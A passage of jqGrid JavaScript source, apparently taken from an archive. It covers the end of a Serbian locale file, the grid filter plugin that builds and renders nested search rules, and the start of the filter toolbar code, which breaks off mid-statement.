emptyrecords: "Не постоји ниједан запис", loadtext: "Учитавање...", pgtext : "Страна {0} од {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Тражење...", Find: "Тражи", Reset: "Ресетуј", odata: [{ oper:'eq', text:"једнако"},{ oper:'ne', text:"није једнако"},{ oper:'lt', text:"мање"},{ oper:'le', text:"мање или једнако"},{ oper:'gt', text:"веће"},{ oper:'ge', text:"веће или једнако"},{ oper:'bw', text:"почиње са"},{ oper:'bn', text:"не почиње са"},{ oper:'in', text:"је у"},{ oper:'ni', text:"није у"},{ oper:'ew', text:"завршава са"},{ oper:'en', text:"не завршава са"},{ oper:'cn', text:"садржи"},{ oper:'nc', text:"не садржи"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "И", text: "сви" }, { op: "ИЛИ", text: "сваки" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Додај запис", editCaption: "Измени запис", bSubmit: "Пошаљи", bCancel: "Одустани", bClose: "Затвори", saveData: "Податак је измењен! Сачувај измене?", bYes : "Да", bNo : "Не", bExit : "Одустани", msg: { required:"Поље је обавезно", number:"Молим, унесите исправан број", minValue:"вредност мора бити већа од или једнака са ", maxValue:"вредност мора бити мања од или једнака са", email: "није исправна имејл адреса", integer: "Молим, унесите исправну целобројну вредност ", date: "Молим, унесите исправан датум", url: "није исправан УРЛ. Потребан је префикс ('http://' or 'https://')", nodefined : " није дефинисан!", novalue : " захтевана је повратна вредност!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "Погледај запис", bClose: "Затвори" }, del : { caption: "Избриши", msg: "Избриши изабран(е) запис(е)?", bSubmit: "Ибриши", bCancel: "Одбаци" }, nav : { edittext: "", edittitle: "Измени изабрани ред", addtext:"", addtitle: "Додај нови ред", deltext: "", deltitle: "Избриши изабран ред", searchtext: "", searchtitle: "Нађи записе", refreshtext: "", refreshtitle: "Поново учитај податке", alertcap: "Упозорење", alerttext: "Молим, изаберите ред", viewtext: "", viewtitle: "Погледај изабрани ред", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Изабери колоне", bSubmit: "ОК", bCancel: "Одбаци" }, errors : { errcap : "Грешка", nourl : "Није постављен URL", norecords: "Нема записа за обраду", model : "Дужина модела colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Нед", "Пон", "Уто", "Сре", "Чет", "Пет", "Суб", "Недеља", "Понедељак", "Уторак", "Среда", "Четвртак", "Петак", "Субота" ], monthNames: [ "Јан", "Феб", "Мар", "Апр", "Мај", "Јун", "Јул", "Авг", "Сеп", "Окт", "Нов", "Дец", "Јануар", "Фебруар", "Март", "Април", "Мај", "Јун", "Јул", "Август", "Септембар", "Октобар", "Новембар", "Децембар" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); grid.filter.js000064400000214370151677266200007336 0ustar00/* * * The filter uses JSON entities to hold filter rules and groups. Here is an example of a filter: { "groupOp": "AND", "groups" : [ { "groupOp": "OR", "rules": [ { "field": "name", "op": "eq", "data": "England" }, { "field": "id", "op": "le", "data": "5"} ] } ], "rules": [ { "field": "name", "op": "eq", "data": "Romania" }, { "field": "id", "op": "le", "data": "1"} ] } */ /*jshint eqeqeq:false, eqnull:true, devel:true */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base", "./grid.common" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.fn.jqFilter = function( arg ) { if (typeof arg === 'string') { var fn = $.fn.jqFilter[arg]; if (!fn) { throw ("jqFilter - No such method: " + arg); } var args = $.makeArray(arguments).slice(1); return fn.apply(this,args); } var p = $.extend(true,{ filter: null, columns: [], sortStrategy: null, onChange : null, afterRedraw : null, checkValues : null, error: false, errmsg : "", errorcheck : true, showQuery : true, sopt : null, ops : [], operands : null, numopts : ['eq','ne', 'lt', 'le', 'gt', 'ge', 'nu', 'nn', 'in', 'ni'], stropts : ['eq', 'ne', 'bw', 'bn', 'ew', 'en', 'cn', 'nc', 'nu', 'nn', 'in', 'ni'], strarr : ['text', 'string', 'blob'], groupOps : [{ op: "AND", text: "AND" }, { op: "OR", text: "OR" }], groupButton : true, ruleButtons : true, uniqueSearchFields : false, direction : "ltr", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", autoencode : false, unaryOperations : [] }, $.jgrid.filter, arg || {}); return this.each( function() { if (this.filter) {return;} this.p = p; // setup filter in case if they is not defined if (this.p.filter === null || this.p.filter === undefined) { this.p.filter = { groupOp: this.p.groupOps[0].op, rules: [], groups: [] }; } // Sort the columns if the sort strategy is provided. if (this.p.sortStrategy != null && $.jgrid.isFunction(this.p.sortStrategy)) { this.p.columns.sort(this.p.sortStrategy); } var i, len = this.p.columns.length, cl, isIE = /msie/i.test(navigator.userAgent) && !window.opera; // translating the options this.p.initFilter = $.extend(true,{},this.p.filter); //this.p.initFilter = {}; // set default values for the columns if they are not set if( !len ) {return;} for(i=0; i < len; i++) { cl = this.p.columns[i]; if( cl.stype ) { // grid compatibility cl.inputtype = cl.stype; } else if(!cl.inputtype) { cl.inputtype = 'text'; } if( cl.sorttype ) { // grid compatibility cl.searchtype = cl.sorttype; } else if (!cl.searchtype) { cl.searchtype = 'string'; } if(cl.hidden === undefined) { // jqGrid compatibility cl.hidden = false; } if(!cl.label) { cl.label = cl.name; } if(cl.index) { cl.name = cl.index; } if(!cl.hasOwnProperty('searchoptions')) { cl.searchoptions = {}; } if(!cl.hasOwnProperty('searchrules')) { cl.searchrules = {}; } if(cl.search === undefined) { cl.inlist = true; } else { cl.inlist = cl.search; } } var getGrid = function () { return $("#" + $.jgrid.jqID(p.id))[0] || null; }, $tg = getGrid(), classes = $.jgrid.styleUI[($tg.p.styleUI || 'jQueryUI')].filter, common = $.jgrid.styleUI[($tg.p.styleUI || 'jQueryUI')].common; if(this.p.showQuery) { $(this).append("<table class='queryresult " + classes.table_widget + "' style='display:block;max-width:440px;border:0px none;' dir='"+this.p.direction+"'><tbody><tr><td class='query'></td></tr></tbody></table>"); } /* *Perform checking. * */ var checkData = function(val, colModelItem) { var ret = [true,""], $t = getGrid(); if($.jgrid.isFunction(colModelItem.searchrules)) { ret = colModelItem.searchrules.call($t, val, colModelItem); } else if($.jgrid && $.jgrid.checkValues) { try { ret = $.jgrid.checkValues.call($t, val, -1, colModelItem.searchrules, colModelItem.label); } catch (e) {} } if(ret && ret.length && ret[0] === false) { p.error = !ret[0]; p.errmsg = ret[1]; } }; /* moving to common randId = function() { return Math.floor(Math.random()*10000).toString(); }; */ this.onchange = function ( ){ // clear any error this.p.error = false; this.p.errmsg=""; return $.jgrid.isFunction(this.p.onChange) ? this.p.onChange.call( this, this.p ) : false; }; /* * Redraw the filter every time when new field is added/deleted * and field is changed */ this.reDraw = function() { $(this).find("table.group").first().remove(); var t = this.createTableForGroup(p.filter, null); $(this).append(t); if($.jgrid.isFunction(this.p.afterRedraw) ) { this.p.afterRedraw.call(this, this.p); } }; /* * Creates a grouping data for the filter * @param group - object * @param parentgroup - object */ this.createTableForGroup = function(group, parentgroup) { var that = this, i; // this table will hold all the group (tables) and rules (rows) var table = $("<table class='group " + classes.table_widget +" ui-search-table' style='border:0px none;'><tbody></tbody></table>"), // create error message row align = "left"; if(this.p.direction === "rtl") { align = "right"; table.attr("dir","rtl"); } if(parentgroup === null) { table.append("<tr class='error' style='display:none;'><th colspan='5' class='" + common.error + "' align='"+align+"'></th></tr>"); } var tr = $("<tr></tr>"); table.append(tr); // this header will hold the group operator type and group action buttons for // creating subgroup "+ {}", creating rule "+" or deleting the group "-" var th = $("<th colspan='5' align='"+align+"'></th>"); tr.append(th); if(this.p.ruleButtons === true) { // dropdown for: choosing group operator type var groupOpSelect = $("<select size='1' name='select_group_op' class='opsel " + classes.srSelect + "'></select>"); th.append(groupOpSelect); // populate dropdown with all posible group operators: or, and var str= "", selected; for (i = 0; i < p.groupOps.length; i++) { selected = group.groupOp === that.p.groupOps[i].op ? " selected='selected'" :""; str += "<option value='"+that.p.groupOps[i].op+"'" + selected+">"+that.p.groupOps[i].text+"</option>"; } groupOpSelect .append(str) .on('change',function() { group.groupOp = $(groupOpSelect).val(); that.onchange(); // signals that the filter has changed }); } // button for adding a new subgroup var inputAddSubgroup ="<span></span>"; if(this.p.groupButton) { inputAddSubgroup = $("<input type='button' value='+ {}' title='" +that.p.addsubgrup+"' class='add-group " + common.button + "' name='newsubgroup'/>"); inputAddSubgroup.on('click',function() { if (group.groups === undefined ) { group.groups = []; } group.groups.push({ groupOp: p.groupOps[0].op, rules: [], groups: [] }); // adding a new group that.reDraw(); // the html has changed, force reDraw that.onchange(); // signals that the filter has changed return false; }); } th.append(inputAddSubgroup); if(this.p.ruleButtons === true) { // button for adding a new rule var inputAddRule = $("<input type='button' value='+' title='"+that.p.addrule+"' class='add-rule ui-add " + common.button + "'/ name='newrule'>"), cm; inputAddRule.on('click',function() { //if(!group) { group = {};} if (group.rules === undefined) { group.rules = []; } for (i = 0; i < that.p.columns.length; i++) { // but show only serchable and serchhidden = true fields var searchable = (that.p.columns[i].search === undefined) ? true: that.p.columns[i].search, hidden = (that.p.columns[i].hidden === true), ignoreHiding = (that.p.columns[i].searchoptions.searchhidden === true); if ((ignoreHiding && searchable) || (searchable && !hidden)) { cm = that.p.columns[i]; break; } } if( !cm ) { return false; } var opr; if( cm.searchoptions.sopt ) {opr = cm.searchoptions.sopt;} else if(that.p.sopt) { opr= that.p.sopt; } else if ( $.inArray(cm.searchtype, that.p.strarr) !== -1 ) {opr = that.p.stropts;} else {opr = that.p.numopts;} group.rules.push({ field: cm.name, op: opr[0], data: "" }); // adding a new rule that.reDraw(); // the html has changed, force reDraw // for the moment no change have been made to the rule, so // this will not trigger onchange event return false; }); th.append(inputAddRule); } // button for delete the group if (parentgroup !== null) { // ignore the first group var inputDeleteGroup = $("<input type='button' value='-' title='"+that.p.delgroup+"' class='delete-group " + common.button + "'/ name='delgroup'>"); th.append(inputDeleteGroup); inputDeleteGroup.on('click',function() { // remove group from parent for (i = 0; i < parentgroup.groups.length; i++) { if (parentgroup.groups[i] === group) { parentgroup.groups.splice(i, 1); break; } } that.reDraw(); // the html has changed, force reDraw that.onchange(); // signals that the filter has changed return false; }); } // append subgroup rows if (group.groups !== undefined) { for (i = 0; i < group.groups.length; i++) { var trHolderForSubgroup = $("<tr></tr>"); table.append(trHolderForSubgroup); var tdFirstHolderForSubgroup = $("<td class='first'></td>"); trHolderForSubgroup.append(tdFirstHolderForSubgroup); var tdMainHolderForSubgroup = $("<td colspan='4'></td>"); tdMainHolderForSubgroup.append(this.createTableForGroup(group.groups[i], group)); trHolderForSubgroup.append(tdMainHolderForSubgroup); } } if(group.groupOp === undefined) { group.groupOp = that.p.groupOps[0].op; } // append rules rows var suni = that.p.ruleButtons && that.p.uniqueSearchFields, ii; if( suni ) { for ( ii = 0; ii < that.p.columns.length; ii++) { if(that.p.columns[ii].inlist) { that.p.columns[ii].search = true; } } } if (group.rules !== undefined) { for (i = 0; i < group.rules.length; i++) { table.append( this.createTableRowForRule(group.rules[i], group) ); if( suni ) { var field = group.rules[i].field; for ( ii = 0; ii < that.p.columns.length; ii++) { if(field === that.p.columns[ii].name) { that.p.columns[ii].search = false; break; } } } } } return table; }; /* * Create the rule data for the filter */ this.createTableRowForRule = function(rule, group ) { // save current entity in a variable so that it could // be referenced in anonimous method calls var that=this, $t = getGrid(), tr = $("<tr></tr>"), //document.createElement("tr"), // first column used for padding //tdFirstHolderForRule = document.createElement("td"), i, op, trpar, cm, str="", selected; //tdFirstHolderForRule.setAttribute("class", "first"); tr.append("<td class='first'></td>"); // create field container var ruleFieldTd = $("<td class='columns'></td>"); tr.append(ruleFieldTd); // dropdown for: choosing field var ruleFieldSelect = $("<select size='1' name='select_field' class='" + classes.srSelect + "'></select>"), ina, aoprs = []; ruleFieldTd.append(ruleFieldSelect); ruleFieldSelect.on('change',function() { if( that.p.ruleButtons && that.p.uniqueSearchFields ) { var prev = parseInt($(this).data('curr'),10), curr = this.selectedIndex; if(prev >= 0 ) { that.p.columns[prev].search = true; $(this).data('curr', curr); that.p.columns[curr].search = false; } } rule.field = $(ruleFieldSelect).val(); trpar = $(this).parents("tr").first(); $(".data",trpar).empty(); for (i=0;i<that.p.columns.length;i++) { if(that.p.columns[i].name === rule.field) { cm = that.p.columns[i]; break; } } if(!cm) {return;} cm.searchoptions.id = $.jgrid.randId(); cm.searchoptions.name = rule.field; cm.searchoptions.oper = 'filter'; if(isIE && cm.inputtype === "text") { if(!cm.searchoptions.size) { cm.searchoptions.size = 10; } } var elm = $.jgrid.createEl.call($t, cm.inputtype,cm.searchoptions, "", true, that.p.ajaxSelectOptions || {}, true); $(elm).addClass("input-elm " + (cm.inputtype === 'select' ? classes.srSelect : classes.srInput) ); //that.createElement(rule, ""); if( cm.searchoptions.sopt ) {op = cm.searchoptions.sopt;} else if(that.p.sopt) { op= that.p.sopt; } else if ($.inArray(cm.searchtype, that.p.strarr) !== -1) {op = that.p.stropts;} else {op = that.p.numopts;} // operators var s ="", so = 0; aoprs = []; $.each(that.p.ops, function() { aoprs.push(this.oper); }); for ( i = 0 ; i < op.length; i++) { ina = $.inArray(op[i],aoprs); if(ina !== -1) { if(so===0) { rule.op = that.p.ops[ina].oper; } s += "<option value='"+that.p.ops[ina].oper+"'>"+that.p.ops[ina].text+"</option>"; so++; } } $(".selectopts",trpar).empty().append( s ); $(".selectopts",trpar)[0].selectedIndex = 0; if( $.jgrid.msie() && $.jgrid.msiever() < 9) { var sw = parseInt($("select.selectopts",trpar)[0].offsetWidth, 10) + 1; $(".selectopts",trpar).width( sw ); $(".selectopts",trpar).css("width","auto"); } // data $(".data",trpar).append( elm ); $.jgrid.bindEv.call($t, elm, cm.searchoptions); $(".input-elm",trpar).on('change',function( e ) { var elem = e.target; if( cm.inputtype === 'custom' && $.jgrid.isFunction(cm.searchoptions.custom_value) ) { rule.data = cm.searchoptions.custom_value.call($t, $(".customelement", this), 'get'); } else { rule.data = $(elem).val(); } if(cm.inputtype === 'select' && cm.searchoptions.multiple ) { rule.data = rule.data.join(","); } that.onchange(); // signals that the filter has changed }); setTimeout(function(){ //IE, Opera, Chrome rule.data = $(elm).val(); if(rule.op === 'nu' || rule.op === 'nn' || $.inArray(rule.op, that.p.unaryOperations) >=0 ) { $(elm).attr('readonly','true'); $(elm).attr('disabled','true'); } if(cm.inputtype === 'select' && cm.searchoptions.multiple && Array.isArray(rule.data)) { rule.data = rule.data.join(","); } that.onchange(); // signals that the filter has changed }, 0); }); // populate drop down with user provided column definitions var j=0; for (i = 0; i < that.p.columns.length; i++) { // but show only serchable and serchhidden = true fields var searchable = (that.p.columns[i].search === undefined) ? true: that.p.columns[i].search, hidden = (that.p.columns[i].hidden === true), ignoreHiding = (that.p.columns[i].searchoptions.searchhidden === true); if ((ignoreHiding && searchable) || (searchable && !hidden)) { selected = ""; if(rule.field === that.p.columns[i].name) { selected = " selected='selected'"; j=i; } str += "<option value='"+that.p.columns[i].name+"'" +selected+">"+that.p.columns[i].label+"</option>"; } } ruleFieldSelect.append( str ); ruleFieldSelect.data('curr', j); // create operator container var ruleOperatorTd = $("<td class='operators'></td>"); tr.append(ruleOperatorTd); cm = p.columns[j]; // create it here so it can be referentiated in the onchange event //var RD = that.createElement(rule, rule.data); cm.searchoptions.id = $.jgrid.randId(); if(isIE && cm.inputtype === "text") { if(!cm.searchoptions.size) { cm.searchoptions.size = 10; } } cm.searchoptions.name = rule.field; cm.searchoptions.oper = 'filter'; var ruleDataInput = $.jgrid.createEl.call($t, cm.inputtype,cm.searchoptions, rule.data, true, that.p.ajaxSelectOptions || {}, true); if(rule.op === 'nu' || rule.op === 'nn' || $.inArray(rule.op, that.p.unaryOperations) >=0 ) { $(ruleDataInput).attr('readonly','true'); $(ruleDataInput).attr('disabled','true'); } //retain the state of disabled text fields in case of null ops // dropdown for: choosing operator var ruleOperatorSelect = $("<select size='1' name='select_oper' class='selectopts " + classes.srSelect + "'></select>"); ruleOperatorTd.append(ruleOperatorSelect); ruleOperatorSelect.on('change',function() { rule.op = $(ruleOperatorSelect).val(); trpar = $(this).parents("tr").first(); var rd = $(".input-elm",trpar)[0]; if (rule.op === "nu" || rule.op === "nn" || $.inArray(rule.op, that.p.unaryOperations) >= 0 ) { // disable for operator "is null" and "is not null" rule.data = ""; if(rd.tagName.toUpperCase() !== 'SELECT') { rd.value = ""; } rd.setAttribute("readonly", "true"); rd.setAttribute("disabled", "true"); } else { if(rd.tagName.toUpperCase() === 'SELECT') { rule.data = rd.value; } rd.removeAttribute("readonly"); rd.removeAttribute("disabled"); } that.onchange(); // signals that the filter has changed }); // populate drop down with all available operators if( cm.searchoptions.sopt ) {op = cm.searchoptions.sopt;} else if(that.p.sopt) { op= that.p.sopt; } else if ($.inArray(cm.searchtype, that.p.strarr) !== -1) {op = that.p.stropts;} else {op = that.p.numopts;} str=""; $.each(that.p.ops, function() { aoprs.push(this.oper); }); for ( i = 0; i < op.length; i++) { ina = $.inArray(op[i],aoprs); if(ina !== -1) { selected = rule.op === that.p.ops[ina].oper ? " selected='selected'" : ""; str += "<option value='"+that.p.ops[ina].oper+"'"+selected+">"+that.p.ops[ina].text+"</option>"; } } ruleOperatorSelect.append( str ); // create data container var ruleDataTd = $("<td class='data'></td>"); tr.append(ruleDataTd); // textbox for: data // is created previously //ruleDataInput.setAttribute("type", "text"); ruleDataTd.append(ruleDataInput); $.jgrid.bindEv.call($t, ruleDataInput, cm.searchoptions); $(ruleDataInput) .addClass("input-elm " + (cm.inputtype === 'select' ? classes.srSelect : classes.srInput) ) .on('change', function() { rule.data = cm.inputtype === 'custom' ? cm.searchoptions.custom_value.call($t, $(".customelement", this),'get') : $(this).val(); that.onchange(); // signals that the filter has changed }); // create action container var ruleDeleteTd = $("<td></td>"); tr.append(ruleDeleteTd); // create button for: delete rule if(this.p.ruleButtons === true) { var ruleDeleteInput = $("<input type='button' value='-' title='"+that.p.delrule+"' class='delete-rule ui-del " + common.button + "'/ name='delrule'>"); ruleDeleteTd.append(ruleDeleteInput); //$(ruleDeleteInput).html("").height(20).width(30).button({icons: { primary: "ui-icon-minus", text:false}}); ruleDeleteInput.on('click',function() { // remove rule from group for (i = 0; i < group.rules.length; i++) { if (group.rules[i] === rule) { group.rules.splice(i, 1); break; } } that.reDraw(); // the html has changed, force reDraw that.onchange(); // signals that the filter has changed return false; }); } return tr; }; this.getStringForGroup = function(group) { var s = "(", index; if (group.groups !== undefined) { for (index = 0; index < group.groups.length; index++) { if (s.length > 1) { s += " " + group.groupOp + " "; } try { s += this.getStringForGroup(group.groups[index]); } catch (eg) {alert(eg);} } } if (group.rules !== undefined) { try{ for (index = 0; index < group.rules.length; index++) { if (s.length > 1) { s += " " + group.groupOp + " "; } s += this.getStringForRule(group.rules[index]); } } catch (e) {alert(e);} } s += ")"; if (s === "()") { return ""; // ignore groups that don't have rules } return s; }; this.getStringForRule = function(rule) { var opUF = "",opC="", i, cm, ret, val, numtypes = ['int', 'integer', 'float', 'number', 'currency']; // jqGrid for (i = 0; i < this.p.ops.length; i++) { if (this.p.ops[i].oper === rule.op) { opUF = this.p.operands.hasOwnProperty(rule.op) ? this.p.operands[rule.op] : ""; opC = this.p.ops[i].oper; break; } } for (i=0; i<this.p.columns.length; i++) { if(this.p.columns[i].name === rule.field) { cm = this.p.columns[i]; break; } } if (cm === undefined) { return ""; } val = this.p.autoencode ? $.jgrid.htmlEncode(rule.data) : rule.data; if(opC === 'bw' || opC === 'bn') { val = val+"%"; } if(opC === 'ew' || opC === 'en') { val = "%"+val; } if(opC === 'cn' || opC === 'nc') { val = "%"+val+"%"; } if(opC === 'in' || opC === 'ni') { val = " ("+val+")"; } if(p.errorcheck) { checkData(rule.data, cm); } if($.inArray(cm.searchtype, numtypes) !== -1 || opC === 'nn' || opC === 'nu' || $.inArray(rule.op, this.p.unaryOperations) >= 0 ) { ret = rule.field + " " + opUF + " " + val; } else { ret = rule.field + " " + opUF + " \"" + val + "\""; } return ret; }; this.resetFilter = function () { this.p.filter = $.extend(true,{},this.p.initFilter); this.reDraw(); this.onchange(); }; this.hideError = function() { $("th."+common.error, this).html(""); $("tr.error", this).hide(); }; this.showError = function() { $("th."+common.error, this).html( $.jgrid.stripScript( this.p.errmsg )); $("tr.error", this).show(); }; this.toUserFriendlyString = function() { return this.getStringForGroup(p.filter); }; this.toString = function() { // this will obtain a string that can be used to match an item. var that = this; function getStringRule(rule) { if(that.p.errorcheck) { var i, cm; for (i=0; i<that.p.columns.length; i++) { if(that.p.columns[i].name === rule.field) { cm = that.p.columns[i]; break; } } if(cm) {checkData(rule.data, cm);} } return rule.op + "(item." + rule.field + ",'" + rule.data + "')"; } function getStringForGroup(group) { var s = "(", index; if (group.groups !== undefined) { for (index = 0; index < group.groups.length; index++) { if (s.length > 1) { if (group.groupOp === "OR") { s += " || "; } else { s += " && "; } } s += getStringForGroup(group.groups[index]); } } if (group.rules !== undefined) { for (index = 0; index < group.rules.length; index++) { if (s.length > 1) { if (group.groupOp === "OR") { s += " || "; } else { s += " && "; } } s += getStringRule(group.rules[index]); } } s += ")"; if (s === "()") { return ""; // ignore groups that don't have rules } return s; } return getStringForGroup(this.p.filter); }; // Here we init the filter this.reDraw(); if(this.p.showQuery) { this.onchange(); } // mark is as created so that it will not be created twice on this element this.filter = true; }); }; $.extend($.fn.jqFilter,{ /* * Return SQL like string. Can be used directly */ toSQLString : function() { var s =""; this.each(function(){ s = this.toUserFriendlyString(); }); return s; }, /* * Return filter data as object. */ filterData : function() { var s; this.each(function(){ s = this.p.filter; }); return s; }, getParameter : function (param) { var ret = null; if(param !== undefined) { this.each(function(i,n){ if (n.p.hasOwnProperty(param) ) { ret = n.p[param]; } }); } return ret ? ret : this[0].p; }, resetFilter: function() { return this.each(function(){ this.resetFilter(); }); }, addFilter: function (pfilter) { if (typeof pfilter === "string") { pfilter = $.jgrid.parse( pfilter ); } this.each(function(){ this.p.filter = pfilter; this.reDraw(); this.onchange(); }); } }); $.extend($.jgrid,{ filterRefactor : function ( p ) { /*ruleGroup : {}, ssfield:[], splitSelect:",", groupOpSelect:"OR"*/ var filters={} /*?*/, rules, k, rule, ssdata, group, rf; try { filters = typeof p.ruleGroup === "string" ? $.jgrid.parse(p.ruleGroup) : p.ruleGroup; if(filters.rules && filters.rules.length) { rules = filters.rules; for(k=0; k < rules.length; k++) { rule = rules[k]; rf = rule.field; if($.inArray(rf, p.ssfield) > -1 ) { ssdata = rule.data.split(p.splitSelect); if(ssdata.length > 1) { if(filters.groups === undefined) { filters.groups = []; } group = { groupOp: p.groupOpSelect, groups: [], rules: [] }; filters.groups.push(group); $.each(ssdata,function(l) { if (ssdata[l]) { group.rules.push({ data: ssdata[l], op: rule.op, field: rule.field}); } }); rules.splice(k, 1); k--; } } } } } catch(e) {} return filters; } }); $.jgrid.extend({ filterToolbar : function(p){ var regional = $.jgrid.getRegional(this[0], 'search'); p = $.extend({ autosearch: true, autosearchDelay: 500, searchOnEnter : true, beforeSearch: null, afterSearch: null, beforeClear: null, afterClear: null, onClearSearchValue : null, url : '', stringResult: false, groupOp: 'AND', defaultSearch : "bw", searchOperators : false, resetIcon : "x", splitSelect : ",", groupOpSelect : "OR", errorcheck : true, operands : { "eq" :"==", "ne":"!","lt":"<","le":"<=","gt":">","ge":">=","bw":"^","bn":"!^","in":"=","ni":"!=","ew":"|","en":"!@","cn":"~","nc":"!~","nu":"#","nn":"!#", "bt":"..."}, disabledKeys : [9, 16, 17,18,19, 20, 33, 34, 35,36,37,38,39,40,30, 45,112,113,114,115,116,117,118,119,120,121,122,123, 144, 145] }, regional , p || {}); return this.each(function(){ var $t = this, unaryOpers=[]; if($t.p.filterToolbar) { return; } if(!$($t).data('filterToolbar')) { $($t).data('filterToolbar', p); } if($t.p.force_regional) { p = $.extend(p, regional); } if ($t.p.customFilterDef !== undefined) { for(var uskey in $t.p.customFilterDef) { if($t.p.customFilterDef.hasOwnProperty(uskey) && !p.operands.hasOwnProperty(uskey) ) { p.odata.push({ oper: uskey, text: $t.p.customFilterDef[uskey].text} ); p.operands[uskey] = $t.p.customFilterDef[uskey].operand; if($t.p.customFilterDef[uskey].unary === true) { unaryOpers.push(uskey); } } } } var classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].filter, common = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].common, base = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].base, triggerToolbar = function( currentPage) { if(typeof(currentPage) === "undefined"){ currentPage = 1; } var sdata={}, j=0, v, nm, sopt={},so, ms = false, ssfield = [], msfield = [], afrcol={}, arcustom=[], bbt =false, sop, ret=[true,"",""], err=false; $.each($t.p.colModel,function(){ var $elem, fcol = false; nm = this.index || this.name; sop = this.searchoptions || {}; if(this.frozen===true && $t.p.frozenColumns === true) { $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(this.name), $t.grid.fhDiv ); fcol = true; } else { $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(this.name), $t.grid.hDiv); } //var $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(this.name), ? $t.grid.fhDiv : $t.grid.hDiv); // in case frozen col is outside the rule list if($elem[0] === undefined) { $elem = $("#gs_"+ $t.p.idPrefix + $.jgrid.jqID(this.name), $t.grid.hDiv); } if(p.searchOperators && sop.searchOperMenu) { so = $elem.parents("table.ui-search-table").find("td.ui-search-oper").children("a").attr("soper") || p.defaultSearch; } else { so = (sop.sopt) ? sop.sopt[0] : this.stype==='select' ? 'eq' : p.defaultSearch; } if( this.stype === "custom" && $.jgrid.isFunction(sop.custom_value) && $elem.length > 0 ) { v = sop.custom_value.call($t, $elem, "get"); arcustom.push(nm); } else { v = $elem.val(); } // detect multiselect if(this.stype === 'select' && sop.multiple && Array.isArray(v)) { if(v.length > 0) { ms = true; ssfield.push(nm); v= v.length === 1 ? v[0] : v; } else { v = ""; } } else if( so !== "bt" && this.stype === 'text' && sop.splitSearchWord === true) { msfield.push(nm); } if(this.searchrules && p.errorcheck) { if($.jgrid.isFunction( this.searchrules)) { ret = this.searchrules.call($t, v, this); } else if($.jgrid && $.jgrid.checkValues) { ret = $.jgrid.checkValues.call($t, v, -1, this.searchrules, this.label || this.name); } if(ret && ret.length && ret[0] === false ) { if(this.searchrules.hasOwnProperty('validationError') ){ err = this.searchrules.validationError; } return false; } } if(so==="bt") { bbt = true; } if(fcol && (nm !== 'cb' && nm!== 'rn' && nm !== 'subgrid' && nm !== 'sc') ) { afrcol[nm] = v; } if(v || so==="nu" || so==="nn" || $.inArray(so, unaryOpers) >=0) { sdata[nm] = v; sopt[nm] = so; j++; } else { try { delete $t.p.postData[nm]; } catch (z) {} } }); if(ret[0] === false ) { if($.jgrid.isFunction(err)) { err.call($t, ret[1]); } else { var errors = $.jgrid.getRegional($t, 'errors'); $.jgrid.info_dialog(errors.errcap, ret[1], '', {styleUI : $t.p.styleUI }); } return; } var sd = j>0 ? true : false; if(p.stringResult === true || $t.p.datatype === "local" || p.searchOperators === true) { var ruleGroup = "{\"groupOp\":\"" + p.groupOp + "\",\"rules\":["; var gi=0; $.each(sdata,function(i,n){ if (gi > 0) {ruleGroup += ",";} ruleGroup += "{\"field\":\"" + i + "\","; ruleGroup += "\"op\":\"" + sopt[i] + "\","; n+=""; ruleGroup += "\"data\":\"" + n.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; gi++; }); ruleGroup += "]}"; // multiselect var filters, rules, k, rule, ssdata, group; if(ms) { filters = 